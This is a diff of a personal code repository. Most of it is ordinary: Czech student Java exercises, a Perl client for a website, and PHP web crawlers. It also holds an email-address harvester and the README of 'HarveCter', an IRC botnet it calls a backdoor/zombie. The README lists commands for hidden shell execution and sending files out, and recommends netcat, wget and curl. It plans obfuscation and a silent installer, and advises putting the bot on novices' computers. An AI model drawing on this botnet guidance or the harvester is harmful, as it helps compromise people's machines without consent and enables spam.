+ System.err.println("Neco je spatne.");
+ System.exit(1);
+ }
+ a.vypisMinimax();
+ a.vypisDelitelne(3);
+ a.vypisPrumer();
+ a.vypisPrvocisla();
+ }
+}
+
+
--- /dev/null
+import java.io.*;
+import java.util.*;
+import java.lang.Math;
+
+/** Pisemka - trida "PolCoordinate"
+ * Copylefted by: Harvie 2oo9 ( http://blog.harvie.cz/ )
+ * @author Thomas Harvie Mudrunka (mudruto1)
+ * @version 1.0
+ */
+class PolCoordinate {
+ private double phi = 0, r = 0;
+ private double x = 0, y = 0;
+ private Scanner sc = new Scanner(System.in);
+
+ PolCoordinate(double uhel, double vzdalenost) {
+ phi = uhel;
+ r = vzdalenost;
+ x = vzdalenost * Math.cos(uhel);
+ y = vzdalenost * Math.sin(uhel);
+ }
+
+ public double getX() { return x; }
+ public double getY() { return y; }
+
+ public String toString() {
+ return new String("X = "+x+"\nY = "+y);
+ }
+
+ public void addCoor(PolCoordinate b) {
+ x += b.getX();
+ y += b.getY();
+ }
+ public boolean equals(PolCoordinate b) {
+ if(x == b.getX() && y == b.getY()) return true;
+ return false;
+ }
+
+}
+
+public class Polar {
+ public static void main(String[] argv) {
+ PolCoordinate A = new PolCoordinate(45, 100);
+ PolCoordinate B = new PolCoordinate(45, 10);
+ System.out.println("A:\n"+A);
+ System.out.println("B:\n"+B);
+ if(A.equals(B)) System.out.println("A==B");
+ else System.out.println("A!=B");
+ A.addCoor(B);
+ System.out.println("A+B:\n"+A);
+ }
+}
+
+
--- /dev/null
+import java.io.*;
+import java.util.*;
+import java.text.*;
+
+/**
+ * trida reprezentujici pole na hrani piskvorek
+ * @author Honza
+ */
+class PiskvorciPole {
+ public int size;
+ public char pole[][];
+ public char prazdno='_';
+ private int x, y;
+ public boolean kriz = true;
+
+ PiskvorciPole(int s) { //konstruktor
+ size = s;
+ pole = new char[size][size];
+ for(x=0;x<size;x++) {
+ for(y=0;y<size;y++) {
+ pole[x][y]=prazdno;
+ }
+ }
+ }
+
+ PiskvorciPole() { //pretizeni konstruktoru (pouzije se, pokud neni zadana velikost)
+ this(10);
+ }
+
+ public String toString() {
+ char ascii = 'a';
+
+ String out = new String("\n \t|");
+ for(char c=ascii;c<size+ascii;c++) out += (c+"|");
+ out += "\n\n";
+ for(x=0;x<size;x++) {
+ out += (x+":\t|");
+ for(y=0;y<size;y++) {
+ out += pole[x][y]+"|";
+ }
+ out += "\n";
+ }
+
+ return out;
+ }
+
+ /*
+ public void vykresli() { // udelat to metodou toString jinak je to chyba....
+ System.out.print(this);
+ }
+ */
+
+ public void vykresliDoSouboru(String outputfile) {
+ double x, y;
+ FileOutputStream out;
+ PrintStream p;
+
+
+ try {
+ out = new FileOutputStream(outputfile, true); //true znamena, ze se bude vzdy pridavat na konec souboru
+ p = new PrintStream(out);
+ p.println(new SimpleDateFormat("dd-MM-yyyy HH:mm:ss").format(new Date()));
+ p.println(this);
+ p.close();
+ } catch(Exception e) {
+ System.err.println("Error writing to file");
+ }
+ }
+
+
+ public void hrat() {
+ char hrac;
+ boolean chyba = false;
+ Scanner sc = new Scanner(System.in);
+ while(true) {
+ System.out.println(this);
+ vykresliDoSouboru("piskvorky.txt");
+ kriz = !kriz;
+ hrac = 'O'; if(kriz) hrac = 'X';
+ System.out.println("Hraje hrac s "+hrac);
+
+ System.out.print("pismeno: ");
+ y=(int)(sc.next().charAt(0)-'a');
+
+ try {
+ System.out.print("cisilko: ");
+ x=sc.nextInt();
+ } catch(Exception e) {
+ chyba = true;
+ }
+
+ if(chyba || x < 0 || x >= size || y < 0 || y >= size || pole[x][y] != prazdno) {
+ chyba = false;
+ System.out.println("\t\t\tneplatne pole!");
+ kriz = !kriz; continue; //dalsi pokus
+ }
+ pole[x][y]=hrac;
+ }
+
+ }
+}
+
+/**
+ * trida demonstrujici pouziti tridy PiskvorciPole
+ * @author Honza
+ */
+public class piskvorky {
+ public static void main (String argv[]) {
+ System.out.println("\t\t===> PISKVORKY <===");
+ System.out.println("\tHru lze prerusit stisknutim ctrl+c, nebo pres netbeans.");
+ PiskvorciPole pp = new PiskvorciPole(20); //vytvorime nove pole 20x20
+ pp.hrat(); //spustime hru
+ }
+}
--- /dev/null
+<!-- Add this at end of build.xml -->
+
+ <target name="-post-jar">
+ <jar update="true" destfile="${dist.jar}">
+ <zipfileset src="${libs.swing-layout.classpath}"/>
+ </jar>
+ </target>
+
+</project><!-- Before this line -->
--- /dev/null
+ <>=========================================================== 1001 1001 1011 1110 0000 01101 1110 ===<>\r
+ ___ ___ ___ ___ \r
+ /__/\ / /\ / /\ ___ ___ / /\ \r
+ \ \:\ / /::\ / /::\ /__/\ / /\ / /:/_ \r
+ \__\:\ / /:/\:\ / /:/\:\ \ \:\ / /:/ / /:/ /\ \r
+ ___ / /::\ / /:/~/::\ / /:/~/:/ \ \:\ /__/::\ / /:/ /:/_ \r
+ /__/\ /:/\:\/__/:/ /:/\:\/__/:/ /:/___ ___ \__\:\\__\/\:\__ /__/:/ /:/ /\\r
+ \ \:\/:/__\/\ \:\/:/__\/\ \:\/::::://__/\ | |:| \ \:\/\\ \:\/:/ /:/\r
+ \ \::/ \ \::/ \ \::/~~~~ \ \:\| |:| \__\::/ \ \::/ /:/ \r
+ \ \:\ \ \:\ \ \:\ \ \:\__|:| /__/:/ \ \:\/:/ \r
+ \ \:\ \ \:\ \ \:\ \__\::::/ \__\/ \ \::/ \r
+ \__\/ \__\/ \__\/ ~~~~ \__\/ \r
+ \r
+ <>===== IRC Bot ================================================================ <-- Harvie 2oo7 ====<>\r
+ <> <>\r
+ <> <>GENERAL <>\r
+ <> Name: HarveCter <>\r
+ <> Subject: IRC Bot <>\r
+ <> Description: Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC <>\r
+ <> Version: 1.0 <>\r
+ <> <>\r
+ <> <>DETAILS <>\r
+ <> Platform: Microsoft Windows (Tested on 2000, XP SP1, XP SP2) <>\r
+ <> Language: Ansi C + Few windows libs (Windows & WinSock) <>\r
+ <> Author: <-- Harvie <>\r
+ <> Date: 2oo7 <>\r
+ <> Contact: Harvie@irc.2600.net <>\r
+ <> <>\r
+ <>=====0=======================================================================================1=====<>\r
+ <>======0=======================================================================================1====<>\r
+ <>====000=============================================================== <-- Harvie 2oo7 =====111====<>\r
+\r
+ <>===== INFO ================================================ 1001 1001 1011 1110 0000 01101 1110 ===<>\r
+ \r
+ <>Building info:\r
+Optimalized for Dev-Cpp.\r
+Compile as windows GUI app. to make a daemon.\r
+\r
+ <>Warnings:\r
+There is not so big security!!!\r
+If you want to keep your zombies,\r
+control them only by PM or at completely secure channel!!!\r
+All passwords, that are starting with your password will be accepted!!!\r
+If you want to keep your botnet use Dynamic IRC server maping (by Dynamic DNS),\r
+rather than sending bots directly to one server (as irc.2600.net:6667)!!!\r
+\r
+ <>Setting up:\r
+- You can do all settings in source.\r
+- for better security use a different password for channel and bots.\r
+\r
+ <>Commands:\r
+- Warning: all commands are case sensitive\r
+\r
+- !login [login] //Bad login=logout\r
+- !chanpass //Set mode +k (each bot sends this when connected)\r
+\r
+ <>Privileged commands (needs login)\r
+- !SAY [msg] //Say msg\r
+- !CMD [shell command] //Execute command @ bot (hidden console window)\r
+- !CMD start [shell command] //Execute command @ bot (show console window)\r
+- !head [file to send] //Send few (maxlines_to_send) lines of file\r
+- !raw [line to send] //Sends raw line to server (you can OP yourself)\r
+- !info //Info about zombie\r
+- !time //Local time @ zombie\r
+- !show //Show console window\r
+- !hide //Hide console window\r
+- !restart //Restart connection to server\r
+- !respawn //Restart whole zombie\r
+\r
+ <>Startup commands:\r
+Each time when the bot starts, he executes the "hircb.rc.bat" file - hidden (UTFS).\r
+\r
+ <>More functions:\r
+If you want to add more functions to this bot, you can add them direct to the code,\r
+or you can simple add executable binaries to its directory (!CMD binary.exe).\r
+This binary must be fully controlled from CLI (command line).\r
+\r
+ <>Recommended binaries to add:\r
+- Wget (wget.exe) - Allows you to download files from http & ftp (add functions online...)\r
+- cURL (curl.exe) - Allows you to upload files to your server (needs some php scripts...)\r
+\r
+ <>Another usefull binaries:\r
+- NetCat (nc.exe) - Useful (Easy Networking, Firewall test, Backdoor, etc...) - you know...\r
+- Servers - FTP(SlimFTPd), HTTP(you can strip Apache), SMTP, SOCKS, Proxy\r
+- Runtimes - Unix(CygWin), Java(JArX) PHP, Perl, Python\r
+- NirCMD2 - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...)\r
+- CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???)\r
+- Anything else - DoS, mailing (Don't do any ilegal stuff with this - just testing!!!)\r
+\r
+ <>Recommendations:\r
+- Use some free DNS service to move zombies across servers.\r
+- Take very big care about channel security.\r
+- Install this bot only at n00bz' computers, because there is no encryption\r
+ (anybody else can sniff and get passwords, etc...)\r
+\r
+ <>Version history:\r
+- future - Maybe some bugfixes\r
+- 1.0 - Fixed for overflows, checked bounds, etc..., reformated/reidented source\r
+- 1.0bRC1 - Implemented Connection checker (new thread), Implemented "!line"\r
+- 1.0b - Bugfixes (cmdfile), Implemented "!respawn"\r
+- 0.9 - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn"\r
+- 0.8 - Hidden execution\r
+- 0.7 - Implemented "!info" & "!time"\r
+- 0.6 - Implemented "!login" function\r
+- 0.5 - Implemented "!CMD" function\r
+- other - I can't remember ;D\r
+\r
+ <>To Do:\r
+- Need SSL to Rock!\r
+- Binary obfuscation better than UPX\r
+- Polymorfism?\r
+- Test binary on "W0W MS OS Vista" (sorry, im running Linux ;)\r
+- Implement some minimalistic hack, which allows you to download wget\r
+- Utility for changing bot settings by direct binary patching without recompiling\r
+- Automatic silent installer\r
+\r
+ <>Terms of use:\r
+- Use it like you want [use, change, abuse]!\r
+- There is no warranty, because this is free of charge for you!\r
+- There is no responsibility from side of author, because this is tool only!\r
+- Only you are responsible for yours acts!\r
+\r
+ <>=====0=======================================================================================1=====<>\r
+ <>======0=======================================================================================1====<>\r
+ <>====000============================================================= <-- Harvie 2oo7/8 =====111====<>\r
--- /dev/null
+#!/usr/bin/env perl
+#Kyberia client... (Harvie 2oo9)
+#THX2 ||
+
+use strict;
+use warnings;
+
+package Kyberia;
+ use LWP;
+ use HTML::Entities;
+
+ our $url;
+ our $browser;
+
+ sub new { #constructor
+ my ($self, $kurl) = @_;
+ $url = $kurl;
+ $browser = LWP::UserAgent->new( );
+ $browser->cookie_jar( {} );
+ return $self;
+ }
+
+ sub Login {
+ my ($self, $user, $pass) = @_;
+ my $response = $browser->post( $url,
+ [ 'event' => 'login',
+ 'login' => $user,
+ 'password' => $pass,
+ 'login_type' => 'name',
+ ]
+ );
+ return $response->is_success;
+ }
+
+ sub Logout {
+ my $response = $browser->post( $url,
+ [ 'event' => 'logout'
+ ]
+ );
+ return $response->is_success;
+ }
+
+ sub SendMail {
+ my ($self, $user, $message) = @_;
+ my $response = $browser->post( $url,
+ [ 'event' => 'send',
+ 'mail_to' => $user,
+ 'mail_to_type' => 'name',
+ 'mail_text' => $message,
+ ]
+ );
+ return $response->is_success;
+ }
+
+ sub GetNode {
+ my ($self, $id) = @_;
+ my $response = $browser->get("$url/id/$id/");
+ return $response->content;
+ }
+
+ sub ReadMail {
+ my $response = $browser->get("$url/id/2176597/");
+ my @mails = split(/\n/, $response->content); $response = '';
+ shift(@mails); #remove CSV header
+ foreach (@mails) {
+ my ($MSG_ID, $FROM, $FROM_ID, $TO, $TO_ID, $TIME, $NEW, $TEXT) = split(/;/, $_, 8); #parse CSV
+ $TEXT =~ s/\\n/\n/g; decode_entities($TEXT); #unescape message
+ print("#$MSG_ID $FROM --> $TO ($TIME)\n\n$TEXT\n---------------------------------\n");
+ }
+ return $response->is_success;
+ }
+
+ sub CheckMail {
+ my $response = $browser->get("$url/ajax/check_new_mail.php");
+ my @mails = split(/;/, $response->content);
+ return ($mails[0], $mails[1], "You have $mails[0] unread mails, last from $mails[1].");
+ }
+
+ return 1;
--- /dev/null
+#!/usr/bin/php
+<?php
+//CrawlB00st 0.1 (filter for crawlers)
+//<-Harvie 2oo7
+/*
+ *This thing will boost crawling of web.
+ *Use it well...
+ */
+
+ $stdin = fopen('php://stdin', 'r');
+ while(!feof($stdin)) {
+ $url = trim(fgets($stdin)); //echo($url); //Debug
+ echo("$url\n");
+ $in = @file($url); if(!$in || !is_array($in)) return(1);
+ foreach($in as $line) {
+ $line = spliti('href="http://', $line);
+ if(sizeof($line) > 1) {
+ array_shift($line); //print_r($line); //Debug
+ foreach($line as $nurl) {
+ $nurl = spliti('(\?|#|\*|")', $nurl);
+ $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug
+ $test = @fopen($nurl, 'r');
+ if($test) echo("$nurl\n");
+ }
+ }
+ }
+}
+
--- /dev/null
+#!/usr/bin/php
+<?php
+//HTML Mail parser 0.4
+//<-Harvie 2oo7
+/*
+ *This thing checks URLs from STDIN and printing found E-Mails to STDOUT.
+ *Use it well...
+ */
+
+ $in = fopen('php://stdin', 'r');
+ while(!feof($in)) {
+ $url = trim(fgets($in)); //echo($url); //Debug
+ $page = @file($url);
+ if(!$page) continue;
+ foreach($page as $line) {
+ if(!eregi('(mailto:|@)', $line)) continue;
+ $line = spliti('mailto:', $line);
+ array_shift($line);
+ foreach($line as $mail) {
+ $mail = spliti('(<|>| |\?|")', htmlspecialchars_decode($mail));
+ echo(trim($mail[0])."\n");
+ }
+ }
+ }
\ No newline at end of file
--- /dev/null
+#!/usr/bin/php
+<?php
+//HSp33der Web Crawler 4.1
+//<-Harvie 2oo7
+/*
+ *This thing crawls the web and printing found URLs to STDOUT.
+ *Use it well...
+ */
+
+//Basic settings
+$first_url = 'http://harvie.stokoruna.cz';
+$first_url = 'http://harvie.ath.cx';
+$first_url = 'http://www.google.cz/search?q=web';
+$first_url = 'http://www.google.com/search?as_q=www&num=10000';
+$first_url = 'http://jyxo.cz/s?q=%23linux+format%3Ahtml&d=cz&cnt=1000&o=noacc,nostem'; //I will start crawling here
+//$first_url = 'http://ftp.mozilla.org/pub/mozilla.org/camino/releases/Camino-1.5.dmg'; //I will start crawling here
+$maximum_file_size = 1000000; //Maximum filesize of downloaded page in bytes
+$cache_size = 100; //Maximal cache size
+$min_cache_size = 20; //Cache size after cleanup
+
+//Filter settings
+$eregi_url_blacklist = array(
+ '(W3\.org|W3C)', //Hell knows...
+ '(shop|xxx|porn|lesbian|hot)', //Commercial sites
+ '(google|209.85.135.104|amazon.com|seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big sites
+ '.\.(css|ico|gif|jpg|png|bmp|cgi)', //Misc. webpage content
+ '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files
+ '.\.(pdf|swf|flv|cfm)', //Other text files
+ '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files
+);
+$eregi_url_whitelist = array(
+ '.\.(html|htm|shtml|php|xml|jsp|asp)' //HTML files only (Whitelisting disabled by default...)
+);
+
+//Development settings
+//$debug = true;
+
+//Init
+$url_db = array($first_url);
+$i = 0;
+$total = 0;
+
+//Functions
+
+function file_size_check($file, $max, $block = 256) { //If $file is bigger than $max, returns 0 else 1
+ if($GLOBALS['debug']) echo("*FileSizeCheck!: $file\n");
+ $fp = @fopen($file, 'r');
+ if(!$fp) {
+ if($GLOBALS['debug']) echo("**Can't open!!!: $file\n");
+ return(0);
+ }
+ $dl = 0;
+ while(!feof($fp)) {
+ $dl = $dl+strlen(fgets($fp, $block)); //echo("$dl\n"); //Debug
+ if($dl > $max) {
+ fclose($fp);
+ if($GLOBALS['debug']) echo("**Too much big file!!!: $file\n");
+ return(0);
+ }
+ }
+ fclose($fp);
+ return(1);
+}
+function check_crawl_url($url) { //URL Filter for crawl_url function
+ foreach($GLOBALS['eregi_url_blacklist'] as $black_url) {
+ if(eregi($black_url, $url)) return(0);
+ }
+ if(in_array($url, $GLOBALS['url_db'])) return(0);
+ if(!file_size_check($url, $GLOBALS['maximum_file_size'])) return(0);
+ foreach($GLOBALS['eregi_url_whitelist'] as $white_url) {
+ if(eregi($white_url, $url)) return(1);
+ }
+ return(1); //1 == disable whitelisting, 0 == enable whitelisting
+}
+
+function found_url($url) { //What to do with found URL
+ $test = @fopen($url, 'r');
+ if(!$test) {
+ if($GLOBALS['debug']) echo("> Can't open file!: $url\n");
+ return(1);
+ }
+
+ echo($url."\n");
+}
+
+function crawl_url($url) { //Recursive crawler (with cleanup of course...)
+ found_url($url);
+ if($GLOBALS['i'] >= $GLOBALS['cache_size']) return(0);
+ $in = @file($url); if(!$in || !is_array($in)) return(1);
+ foreach($in as $line) {
+ $line = spliti('href="http://', $line);
+ if(sizeof($line) > 1) {
+ array_shift($line); //print_r($line); //Debug
+ foreach($line as $nurl) {
+ $nurl = spliti('(\?|#|\*|")', $nurl);
+ $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug
+ if(check_crawl_url($nurl)) {
+ array_push($GLOBALS['url_db'], $nurl);
+ $GLOBALS['i']++; $GLOBALS['total']++;
+ if($GLOBALS['debug']) echo("-cache: ".$GLOBALS['i']." +total urls crawled: ".$GLOBALS['total']."\n"); //Debug
+ if($GLOBALS['i'] < $GLOBALS['cache_size']) {
+ crawl_url($nurl);
+ }
+ if($GLOBALS['i'] >= $GLOBALS['cache_size']) return(0);
+ }
+ }
+ }
+ }
+}
+
+
+//CODE (Cleanup for crawl_url())
+if($debug) echo("!!! DEBUG MODE ON !!!\n");
+while(1) {
+ if($debug) echo("\n+Strating with: ".$url_db[0]."\n"); //Debug
+ foreach($url_db as $url) {
+ if($i < $cache_size) crawl_url($url);
+ }
+ //Cache cleanup
+ if($debug) echo("!Cache Cleanup\n"); //Debug
+ while(sizeof($url_db) > $min_cache_size) {
+ array_shift($url_db);
+ }
+ $url_db = array_reverse($url_db);
+ $i = $min_cache_size;
+}
\ No newline at end of file
--- /dev/null
+#!/usr/bin/php
+<?php
+//HSp33der Web Crawler 5.6
+//<-Harvie 2oo7/8
+/*
+ * Description:
+ * This script crawls the web and printing found URLs to STDOUT.
+ *
+ * Installation:
+ * - Debian:
+ * # apt-get install php5-cli php5-curl curl sort
+ * $ chmod +x crawler.php
+ * $ ./crawler.php (or $ php crawler.php)
+ * - Windows:
+ * c:/>path/to/php5/php.exe crawler.php
+ * (you can add php.exe to PATH or associate .php files with it)
+ *
+ * Notes:
+ * - You can use EtherApe (or similar sniffer) to get graphical
+ * illustration of connecions (spider with your machine in center).
+ * - There are few bugs in PHP5,
+ * so this crawler may freeze after few minutes,
+ * but you can use $use_curlbin option (need some extra files).
+ * Check this for more info: http://bugs.php.net/bug.php?id=43098
+ *
+ * Tips & Tricks:
+ * - Make found URLs 100% unique:
+ * cat urls.txt | sort -u > uurls.txt && mv -f uurls.txt urls.txt
+ * - Show filesize and total urls count:
+ * du -h urls.txt && cat urls.txt | wc -l
+ * - Open another output pipe:
+ * tail -f urls.txt
+ * - Use some plugin (filter) to extract emails, etc...
+ * tail -f urls.txt | ./example_mail_extractor.php
+ *
+ * Special thx2:
+ * - PHP, cURL (technology)
+ * - root.cz & php.net (help)
+ * - Linus Torvalds (because I am crawling from Linux)
+ */
+
+///SETTINGS//////////////////
+//Basic
+$seed = 'http://www.secunia.com/'; //Start crawling from this page
+$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive)
+$delete_url_db = false; //Delete file with saved URLs before crawling
+$restore = true; //Use last url from $file instead of seed
+//Advanced
+$max_size = 10000; //How many bytes download from each page?
+$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue)
+$buffer_increase = false; //Increase buffer at buffer underrun?
+$random_url = false; //Select random urls from page? (This may override URL filter)
+$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...)
+//Curl binary plugin
+$use_curlbin = true; //Use interface to cURL executable instead of file_get_contents() (More speed, less crashes)
+$curlpath = 'curl'; //Path to cURL executable binary (you can download it from http://curl.haxx.se/)
+//Sort binary plugin
+$use_sortbin = true; //Use sort to make URLs unique?
+$sortpath = 'sort'; //Path to SORT executable binary (get it from your OS or UNXUtils for Windows)
+$sort_each = $history_max; //Sort file after X new URLs
+//System/PHP
+$socket_timeout = 1; //How long you want wait for a webserver? (seconds)
+$time_limit = 0; //How long run? (seconds; 0==infinite)
+$memory_limit = '128M'; //Maximum memory to eat (if exhausted, crawler will stop)
+//Debug
+$debug = true; //Use debuging mode? (Print errors and statistics)
+
+//Filter
+$eregi_url_blacklist = array( //Most important thing when crawling ;D
+ '(W3\.org|W3C)', //Hell knows...
+ '(shop|xxx|porn|lesbian|hot)', //Commercial sites
+ '(google|209.85.135.104|yahoo.com|amazon.com|youtube.com)', //Big sites
+ '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites
+ '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content
+ '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files
+ '.\.(pdf|swf|flv|cfm)', //Other text files
+ '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files
+);
+
+
+///FUNCTIONS/////////////////
+function shell_sort_file($file, $tmpfile='.tmp') {
+ $tmpfile = $file.$tmpfile;
+ if($GLOBALS['debug']) echo("-SORTing $file (using tempfile $tmpfile)\n");
+ @unlink($tmpfile);
+ system($GLOBALS['sortpath']." -u $file > $tmpfile");
+ if(is_file($tmpfile) && (filesize($tmpfile) > 3)) {
+ unlink($file);
+ rename($tmpfile, $file);
+ } else {
+ if($GLOBALS['debug']) echo("-SORTing failed!!!\n");
+ }
+ if($GLOBALS['debug']) echo("-SORTing done!\n");
+}
+
+function shell_curl_get($url, $timeout=0, $maxdata=0) { //I made this cURL interface cause file_get_contents() absolutely sux
+ $curl = 'curl';
+ if(isset($GLOBALS['curlpath'])) $curl = $GLOBALS['curlpath'];
+ $args = "--get --location --connect-timeout $timeout --max-time $timeout --compressed --stderr curl.debug";
+ $url = escapeshellcmd(trim($url));
+ $cmd = "$curl --url \"$url\" $args";
+ if($GLOBALS['debug']) echo("-Ex: $cmd\n");
+ $fp = popen($cmd, 'r');
+ stream_set_timeout($fp, $timeout);
+ stream_set_blocking($fp, 0);
+ //if($timeout>0) sleep($timeout);
+ $data = '';
+ while(!feof($fp)) {
+ $in = fgets($fp, 100);
+ $data .= $in;
+ if($maxdata>0 && strlen($data)>=$maxdata) break;
+ if($in == '') usleep(1000000/8);
+ }
+ @fclose($fp);
+ return $data;
+}
+
+function check_crawl_url($url) { //Use this function to determine if url is wanted
+ foreach($GLOBALS['eregi_url_blacklist'] as $black_url) {
+ if(eregi($black_url, $url)) return(0);
+ }
+ if(in_array($url, $GLOBALS['urls'])) return(0);
+ $file_url = explode('?', $url, 2); $file_url = $file_url[0];
+ if(in_array($file_url, $GLOBALS['history'])) return(0);
+ return(1);
+}
+
+
+///CODE//////////////////////
+//Init
+if($restore && is_file($file)) { //Load last url as seed
+ $urls[1]=$seed; //original seed as backup (if no urls found at restored page)
+ if($debug) echo("!Restoring: ");
+ $rest = fopen($file, 'r');
+ while(!feof($rest)) {
+ $seed = $new;
+ $new = fgets($rest);
+ }
+ fclose($rest);
+ $seed = trim($seed);
+ if($debug) echo($seed."\n");
+ $urls[0]=$seed;
+ $seed=$urls[1];
+}
+
+if($delete_url_db) @unlink($file);
+ini_set('default_socket_timeout',$socket_timeout);
+set_time_limit($time_limit);
+ini_set('memory_limit', $memory_limit);
+
+//Loop
+if($debug) { $u = 0; $c = 0; $t = time(); }
+$history[0] = '';
+$sort_next = $sort_each;
+$sorted_db = 0;
+$fp = fopen($file, 'a+');
+while(true) { //MAIN L00P
+ if(sizeof($urls) <= 0) {
+ $urls='';
+ $urls[0]=$seed;
+ if($buffer_increase) $max_urls++; //Increase size of buffer by one
+ if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n");
+ }
+
+ //Get URL from buffer, download few bytes and write down URLs to array:
+ $url = array_shift($urls);
+ if($debug) echo("-Parsing: $url\n");
+ if(!$use_curlbin) { $page = @file_get_contents($url, false, null, 0, $max_size); }
+ else { $page = shell_curl_get($url, $socket_timeout, $max_size); }
+ preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode($page), $new_urls);
+ $new_urls = $new_urls[0];
+
+ foreach($new_urls as $new_url) { //Process grabed URLs
+ if($debug) $c++;///Debug
+ if(check_crawl_url($new_url)) {
+ echo($new_url."\n");
+ fwrite($fp, $new_url."\n");
+
+ if($use_sortbin) { //Handle sorting (unique URLs)
+ $sort_next--;
+ if($sort_next<=0) {
+ fclose($fp);
+ shell_sort_file($file);
+ if($debug) {
+ $sorted_db = 0;
+ $fp = fopen($file, 'r');
+ while(!feof($fp)) {
+ fgets($fp);
+ $sorted_db++;
+ }
+ fclose($fp);
+ }
+ $fp = fopen($file, 'a+');
+ $sort_next = $sort_each;
+ }
+ }
+
+ $file_url = explode('?', $new_url, 2); $file_url = $file_url[0];
+ array_push($history, $file_url);
+ while(sizeof($history) > $history_max) @array_shift($history);
+ if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); }
+ else { if(sizeof($urls) < $max_urls) array_push($urls, $new_url); }
+ if($debug) { ///Debug Block
+ $u++;
+ $sorted_db++;
+ $uspeed = round($u/(time()-$t+1), 2);
+ $cspeed = round($c/(time()-$t+1), 2);
+ $time = round((time()-$t)/60, 1);
+ $buffered = sizeof($urls);
+ $historied = sizeof($history);
+ $memory = round(memory_get_usage()/1000000, 2);
+ echo("+$u ($sorted_db sorted) URLs; $c Downloaded; UpTime: $time mins; Buffered: $buffered URLs; History: $historied URLs; To sort: $sort_next URLs; Speed: $uspeed URLs/s, $cspeed Downloads/s; Memory used: $memory/$memory_limit\n");
+ }
+ }
+ }
+ $new_urls = ''; //Memory cleanup
+}
+
+##EOF
--- /dev/null
+#!/usr/bin/php
+<?php
+//HSp33der Web Crawler 5.3
+//<-Harvie 2oo7
+/*
+ * Description:
+ * This script crawls the web and printing found URLs to STDOUT.
+ *
+ * Installation:
+ * - Debian:
+ * # apt-get install php5-cli
+ * $ chmod +x crawler.php
+ * $ ./crawler.php (or $ php crawler.php)
+ * - Windows:
+ * c:/>path/to/php5/php.exe crawler.php
+ * (you can add php.exe to PATH or associate .php files with it)
+ *
+ * Notes:
+ * At this moment, there are few bugs in PHP5,
+ * so this crawler may freeze after few minutes.
+ * Check this for more info: http://bugs.php.net/bug.php?id=43098
+ */
+
+///SETTINGS
+//Basic
+$seed = 'http://www.secunia.com/'; //Start crawling from this page
+$file = 'urls.txt'; //File to save crawled URLs (use sort to make URLs 100% exclusive)
+$delete_url_db = true; //Delete file with saved URLs before crawling
+//Advanced
+$max_size = 10000; //How many bytes download from each page?
+$max_urls = 30; //Size of URL buffer (prebuffered URLs to crawl, if full, no more URLs will be added to queue)
+$buffer_increase = false; //Increase buffer at buffer underrun?
+$random_url = false; //Select random urls from page? (This may override URL filter)
+$history_max = 1000; //How many last URLs keep in history? (historied URLs will not be crawled again...)
+//Misc.
+ini_set('default_socket_timeout',1); //How long you want wait for a webserver? (seconds)
+set_time_limit(0); //How long run? (seconds; 0==infinite)
+$debug = false; //Use debuging mode? (Print errors and statistics)
+
+//Filter
+$eregi_url_blacklist = array(
+ '(W3\.org|W3C)', //Hell knows...
+ '(shop|xxx|porn|lesbian|hot)', //Commercial sites
+ '(google|209.85.135.104|amazon.com|youtube.com)', //Big sites
+ '(seznam.cz|centrum.cz|atlas.cz|zoznam.sk|quick.cz)', //Big local sites
+ '.\.(css|ico|gif|jpg|png|bmp|cgi|js|vbs)', //Misc. webpage content
+ '.\.(avi|mpg|mpeg|mov|wmv|wm|mp3|ogg|wma)', //Multimedia files
+ '.\.(pdf|swf|flv|cfm)', //Other text files
+ '.\.(exe|zip|rar|gz|bz|bz2|tar)' //Big and binary files
+);
+
+function check_crawl_url($url) { //Use this function to determine if url is wanted
+ foreach($GLOBALS['eregi_url_blacklist'] as $black_url) {
+ if(eregi($black_url, $url)) return(0);
+ }
+ if(in_array($url, $GLOBALS['urls'])) return(0);
+ $file_url = explode('?', $url, 2); $file_url = $file_url[0];
+ if(in_array($file_url, $GLOBALS['history'])) return(0);
+ return(1);
+}
+
+///CODE
+if($delete_url_db) @unlink($file);
+if($debug) { $u = 0; $c = 0; $t = time(); }
+$history[0] = '';
+$fp = fopen($file, 'a+');
+while(true) {
+ if(sizeof($urls) <= 0) {
+ $urls='';
+ $urls[0]=$seed;
+ if($buffer_increase) $max_urls++; //Increase size of buffer by one
+ if($debug) echo("!Buffer underrun! !Buffer size is: $max_urls!\n");
+ }
+
+ $url = array_shift($urls);
+ if($debug) echo("-Parsing: $url\n");
+ preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($url, false, null, 0, $max_size)), $new_urls);
+ $new_urls = $new_urls[0];
+
+ foreach($new_urls as $new_url) {
+ if($debug) $c++;///Debug
+ if(check_crawl_url($new_url)) {
+ echo($new_url."\n");
+ fwrite($fp, $new_url."\n");
+ $file_url = explode('?', $new_url, 2); $file_url = $file_url[0];
+ array_push($history, $file_url);
+ while(sizeof($history) > $history_max) @array_shift($history);
+ if($random_url) { if(sizeof($urls) < $max_urls) array_push($urls, $new_urls[rand(0,sizeof($new_urls)-1)]); }
